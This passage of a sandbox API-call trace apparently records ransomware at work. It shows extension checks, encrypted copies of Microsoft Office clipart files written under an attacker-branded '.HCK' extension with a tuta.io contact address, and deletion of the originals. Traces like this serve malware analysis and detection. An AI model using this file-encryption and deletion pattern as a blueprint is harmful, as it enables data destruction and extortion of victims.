lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.328] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.328] lstrlenW (lpString="J0196142.WMF") returned 12 [0170.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0170.339] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3826) returned 1 [0170.339] CloseHandle (hObject=0x330) returned 1 [0170.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf")) returned 0x220 [0170.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0170.343] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.343] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0170.349] GetLastError () returned 0x0 [0170.350] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xef2, lpOverlapped=0x0) returned 1 [0170.351] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf00, lpOverlapped=0x0) returned 1 [0170.352] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.352] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.352] SetEndOfFile (hFile=0x368) returned 1 [0170.354] CloseHandle (hObject=0x368) returned 1 [0170.363] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.363] SetEndOfFile (hFile=0x330) returned 1 [0170.368] CloseHandle (hObject=0x330) returned 1 [0170.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf")) returned 1 [0170.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.371] lstrlenW (lpString=".doc") returned 4 [0170.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.371] lstrlenW (lpString=".docx") returned 5 [0170.371] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.371] lstrlenW (lpString=".pdf") returned 4 [0170.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.371] lstrlenW (lpString=".xls") returned 4 [0170.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.371] lstrlenW (lpString=".xlsx") returned 5 [0170.371] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.371] lstrlenW (lpString=".ppt") returned 4 [0170.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.371] lstrlenW (lpString=".zip") returned 4 [0170.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.371] lstrlenW (lpString=".rar") returned 4 [0170.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString=".bz2") returned 4 [0170.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString=".7z") returned 3 [0170.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".dbf") returned 4 [0170.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".1cd") returned 4 [0170.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".jpg") returned 4 [0170.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".doc") returned 4 [0170.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString=".docx") returned 5 [0170.372] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.372] lstrlenW (lpString=".pdf") returned 4 [0170.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString=".xls") returned 4 [0170.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.372] lstrlenW (lpString=".xlsx") returned 5 [0170.372] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.372] lstrlenW (lpString=".ppt") returned 4 [0170.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".zip") returned 4 [0170.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.372] lstrlenW (lpString=".rar") returned 4 [0170.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString=".bz2") returned 4 [0170.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString=".7z") returned 3 [0170.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".dbf") returned 4 [0170.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".1cd") returned 4 [0170.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0170.372] lstrlenW (lpString=".jpg") returned 4 [0170.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.373] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.373] lstrlenW (lpString="J0197979.WMF") returned 12 [0170.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0170.378] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=40230) returned 1 [0170.378] CloseHandle (hObject=0x354) returned 1 [0170.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 0x220 [0170.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.387] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.387] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.394] GetLastError () returned 0x0 [0170.394] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9d26, lpOverlapped=0x0) returned 1 [0170.395] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0170.396] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.396] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.397] SetEndOfFile (hFile=0x30c) returned 1 [0170.398] CloseHandle (hObject=0x30c) returned 1 [0170.398] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.398] SetEndOfFile (hFile=0x308) returned 1 [0170.405] CloseHandle (hObject=0x308) returned 1 [0170.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 1 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString=".doc") returned 4 [0170.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString=".docx") returned 5 [0170.409] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.409] lstrlenW (lpString=".pdf") returned 4 [0170.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString=".xls") returned 4 [0170.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.409] lstrlenW (lpString=".xlsx") returned 5 [0170.409] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.409] lstrlenW (lpString=".ppt") returned 4 [0170.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString=".zip") returned 4 [0170.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.409] lstrlenW (lpString=".rar") returned 4 [0170.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString=".bz2") returned 4 [0170.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString=".7z") returned 3 [0170.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString=".dbf") returned 4 [0170.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString=".1cd") returned 4 [0170.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString=".jpg") returned 4 [0170.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.409] lstrlenW (lpString=".doc") returned 4 [0170.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString=".docx") returned 5 [0170.409] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.409] lstrlenW (lpString=".pdf") returned 4 [0170.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.409] lstrlenW (lpString=".xls") returned 4 [0170.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.409] lstrlenW (lpString=".xlsx") returned 5 [0170.409] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.409] lstrlenW (lpString=".ppt") returned 4 [0170.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.410] lstrlenW (lpString=".zip") returned 4 [0170.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.410] lstrlenW (lpString=".rar") returned 4 [0170.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.410] lstrlenW (lpString=".bz2") returned 4 [0170.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.410] lstrlenW (lpString=".7z") returned 3 [0170.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.410] lstrlenW (lpString=".dbf") returned 4 [0170.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.410] lstrlenW (lpString=".1cd") returned 4 [0170.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0170.410] lstrlenW (lpString=".jpg") returned 4 [0170.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.410] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.410] lstrlenW (lpString="J0198021.WMF") returned 12 [0170.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.413] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=34912) returned 1 [0170.413] CloseHandle (hObject=0x2ec) returned 1 [0170.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf")) returned 0x220 [0170.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.423] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.423] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.430] GetLastError () returned 0x0 [0170.430] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8860, lpOverlapped=0x0) returned 1 [0170.432] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8870, lpOverlapped=0x0) returned 1 [0170.433] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.434] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.434] SetEndOfFile (hFile=0x30c) returned 1 [0170.439] CloseHandle (hObject=0x30c) returned 1 [0170.439] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.439] SetEndOfFile (hFile=0x308) returned 1 [0170.446] CloseHandle (hObject=0x308) returned 1 [0170.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf")) returned 1 [0170.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.452] lstrlenW (lpString=".doc") returned 4 [0170.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.452] lstrlenW (lpString=".docx") returned 5 [0170.452] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.452] lstrlenW (lpString=".pdf") returned 4 [0170.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.452] lstrlenW (lpString=".xls") returned 4 [0170.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.452] lstrlenW (lpString=".xlsx") returned 5 [0170.452] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.452] lstrlenW (lpString=".ppt") returned 4 [0170.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".zip") returned 4 [0170.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.453] lstrlenW (lpString=".rar") returned 4 [0170.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString=".bz2") returned 4 [0170.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString=".7z") returned 3 [0170.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".dbf") returned 4 [0170.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".1cd") returned 4 [0170.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".jpg") returned 4 [0170.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".doc") returned 4 [0170.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString=".docx") returned 5 [0170.453] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.453] lstrlenW (lpString=".pdf") returned 4 [0170.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString=".xls") returned 4 [0170.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.453] lstrlenW (lpString=".xlsx") returned 5 [0170.453] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.453] lstrlenW (lpString=".ppt") returned 4 [0170.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".zip") returned 4 [0170.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.453] lstrlenW (lpString=".rar") returned 4 [0170.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString=".bz2") returned 4 [0170.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString=".7z") returned 3 [0170.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".dbf") returned 4 [0170.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".1cd") returned 4 [0170.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF") returned 68 [0170.453] lstrlenW (lpString=".jpg") returned 4 [0170.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.454] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.454] lstrlenW (lpString="J0198113.WMF") returned 12 [0170.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.460] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=42272) returned 1 